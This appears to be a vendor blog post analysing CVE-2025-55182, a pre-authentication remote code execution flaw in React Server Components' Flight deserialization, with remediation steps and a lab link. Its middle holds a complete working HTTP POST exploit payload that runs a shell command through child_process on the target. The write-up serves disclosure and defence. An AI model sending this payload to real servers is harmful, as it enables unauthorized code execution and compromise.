CVE-2025-55182 – React Server Components RCE via Flight Payload Deserialization

React Server Components (RSC) have been gaining traction because they reduce client-side JavaScript and allow servers to handle data-heavy logic. As is often the case with complex technology, that convenience comes with risk. On December 3rd 2025, the React team published a disclosure describing CVE-2025-55182, a critical Remote Code Execution (RCE) vulnerability  in the React Server Components ecosystem. The vulnerability received a maximum CVSS score of 10.0. That score is rarely used, and it is reserved for vulnerabilities that require no authentication, no user interaction, and have a direct path to remote code execution.

This post explains why RSC was vulnerable and how the now-publically available exploit can take advantage of the underlying problem in React’s server-side handling.

React Server Components communicate with the server using a protocol called Flight. When a client needs data rendered by a server component, it sends a request to a server endpoint. The server parses the incoming payload, executes the relevant server-side logic, and returns a serialized representation of the component tree.

The problem is in how the server parses the incoming payload. Certain versions of the RSC packages trust the received data too much. Instead of validating the structure and ensuring the request comes from legitimate client-side code, the server attempts to deserialize anything the user sends. If the payload contains a malicious structure, React will happily accept it, deserialize it, and treat it as a legitimate part of the request.

This allows an attacker to gain control over server-side execution! 

The root issue is unsafe deserialization. RSC relies on special internal objects called Chunks. They represent pieces of data that React expects to receive within the Flight protocol. During normal operation, React resolves these Chunks as Promises https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise  inside its request parsing logic.

The vulnerable versions of RSC allow an attacker to craft a fake Chunk object and submit it in the request body. Since React does not validate the payload, it treats the fake object as genuine and begins resolving it. When React resolves it, the attacker gains control of parts of the internal request state. Several internal properties become accessible, including objects that can be used as gadgets to run arbitrary JavaScript on the server.

This exploit is an example of pure logic abuse built entirely on top of expected JavaScript features like promise resolution and nested deserialization. Server-side JavaScript environments do not restrict what this code can do, so the attacker can read files, spawn processes, and run arbitrary commands.

The proofs of concept published by several researchers on December 4th uses the following sequence of ideas:

1. The attacker submits a Flight payload containing a crafted object that looks like a Chunk.
   
2. The fake Chunk defines a custom then method.
   
3. When React deserializes the payload, its internal machinery attempts to resolve the Chunk as a promise.
   
4. Promise resolution causes React to call the attacker-controlled then method.
   
5. That handler gives the attacker control over internal parsing state, including the _response object.
   
6. The attacker modifies that object so that React later calls server-side functions chosen by the attacker.
   
7. Those functions become the RCE path.
   
8. The final result is arbitrary JavaScript execution inside the server process.
   
   

This chain works because the RSC never confirms that the incoming structure is genuine. It assumes the client will never send anything malicious. The attacker only needs to send an HTTP POST request to the RSC endpoint. No account, API key, CSRF token, or session is required.

To verify the code execution, we can use the example proof of concept below. The payload will create a file in the /tmp directory.

POST / HTTP/1.1
Host: 192.168.120.206
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 467

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('touch /tmp/rce_poc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

We can observe that the node process created the rce_poc file in the /tmp directory. This indicates the server executed the payload.

This vulnerability affects any environment that uses the affected React Server Components packages (versions 19.0, 19.1.0, 19.1.1, and 19.2.0). That includes apps that do not explicitly define server functions. Many frameworks include these packages indirectly, which means a large number of deployments may be affected without developers realizing they were using the vulnerable components.

Since the exploit is pre-authentication and public exploit code exists, unpatched servers should be treated as potentially compromised. React released fixed versions quickly, but remember that broad ecosystems update slowly! Attackers target components like this because they know at least some fraction of servers will remain unpatched for months.

1. Upgrade to the patched versions immediately.
   
2. Check your framework’s dependency tree. Even if you did not install react-server-dom-* directly, your tooling or other libraries might have.
   
3. If you are using a hosting provider that offers temporary WAF mitigation, enable it while you patch.
   
4. Treat exposed RSC endpoints as incident-response priority if they were running a vulnerable version.
   

Can I try it?

Of course! A machine hosting RSC is available in the Offensive Cyber Range. Investigate the vulnerability here.